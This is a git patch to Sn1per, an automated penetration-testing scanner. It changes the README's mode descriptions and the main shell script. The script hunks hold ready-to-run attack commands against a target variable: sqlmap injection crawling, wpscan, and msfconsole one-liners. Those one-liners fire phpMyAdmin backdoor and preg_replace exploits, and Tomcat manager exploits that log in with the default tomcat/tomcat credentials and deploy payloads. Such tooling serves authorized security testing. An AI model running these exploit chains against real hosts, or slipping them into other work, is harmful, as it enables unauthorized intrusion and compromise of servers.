From d3c71b2b782f7f8a3953e06bd783bd0740e0a680 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 25 Jan 2016 21:36:28 -0500 Subject: [PATCH] Sn1per v1.6 by 1N3@CrowdShield --- README.md | 10 +++++----- loot/README.md | 10 +++++----- sniper | 18 +++++++++--------- 3 files changed, 19 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 8c59095..7a645c2 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ Sn1per is an automated scanner that can be used during a penetration test to enu ## USAGE: ``` -# ./sniper report +# ./sniper # ./sniper stealth # ./sniper port # ./sniper nobrute @@ -31,10 +31,10 @@ Sn1per is an automated scanner that can be used during a penetration test to enu ``` ### MODES: -* REPORT MODE: Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. -* STEALTH MODE: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking -* PORT MODE: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. -* NOBRUTE MODE: Launches a full scan against a target host/domain without brute forcing services. +* REPORT: Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. +* STEALTH: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking +* PORT: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. +* NOBRUTE: Launches a full scan against a target host/domain without brute forcing services. * AIRSTRIKE: Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. * NUKE: Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. diff --git a/loot/README.md b/loot/README.md index 8c59095..7a645c2 100644 --- a/loot/README.md +++ b/loot/README.md @@ -22,7 +22,7 @@ Sn1per is an automated scanner that can be used during a penetration test to enu ## USAGE: ``` -# ./sniper report +# ./sniper # ./sniper stealth # ./sniper port # ./sniper nobrute @@ -31,10 +31,10 @@ Sn1per is an automated scanner that can be used during a penetration test to enu ``` ### MODES: -* REPORT MODE: Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. -* STEALTH MODE: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking -* PORT MODE: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. -* NOBRUTE MODE: Launches a full scan against a target host/domain without brute forcing services. +* REPORT: Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. +* STEALTH: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking +* PORT: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. +* NOBRUTE: Launches a full scan against a target host/domain without brute forcing services. * AIRSTRIKE: Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. * NUKE: Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. diff --git a/sniper b/sniper index 904b95a..fc338f4 100644 --- a/sniper +++ b/sniper @@ -433,8 +433,8 @@ else dirb http://$TARGET wpscan --url http://$TARGET --batch python $CMSMAP -t http://$TARGET - arachni http://$TARGET --output-only-positives --scope-include-subdomains - sqlmap -u "http://$TARGET" --batch --crawl=2 -f + arachni http://$TARGET --output-only-positives + sqlmap -u "http://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" fi @@ -568,8 +568,8 @@ else dirb http://$TARGET wpscan --url https://$TARGET --batch python $CMSMAP -t https://$TARGET - arachni https://$TARGET --output-only-positives --scope-include-subdomains - sqlmap -u "https://$TARGET" --batch --crawl=2 -f + arachni https://$TARGET --output-only-positives + sqlmap -u "https://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 443; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" fi @@ -719,7 +719,7 @@ else ./massbleed $TARGET port 8000 cd .. nikto -h http://$TARGET:8000 - arachni http://$TARGET:8000 --output-only-positives --scope-include-subdomains + arachni http://$TARGET:8000 --output-only-positives fi if [ -z "$port_8100" ] @@ -737,7 +737,7 @@ else ./massbleed $TARGET port 8100 cd .. nikto -h http://$TARGET:8100 - arachni http://$TARGET:8100 --output-only-positives --scope-include-subdomains + arachni http://$TARGET:8100 --output-only-positives fi if [ -z "$port_8080" ] @@ -756,7 +756,7 @@ else cd .. nikto -h http://$TARGET:8080 nmap -p 8080 --script=*proxy* $TARGET - arachni http://$TARGET:8080 --output-only-positives --scope-include-subdomains + arachni http://$TARGET:8080 --output-only-positives msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi @@ -776,7 +776,7 @@ else cd .. nikto -h http://$TARGET:8180 nmap -p 8180 --script=*proxy* $TARGET - arachni http://$TARGET:8180 --output-only-positives --scope-include-subdomains + arachni http://$TARGET:8180 --output-only-positives msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi @@ -796,7 +796,7 @@ else cd .. nikto -h https://$TARGET:8443 nmap -p 8443 --script=*proxy* $TARGET - arachni https://$TARGET:8443 --output-only-positives --scope-include-subdomains + arachni https://$TARGET:8443 --output-only-positives fi if [ -z "$port_10000" ]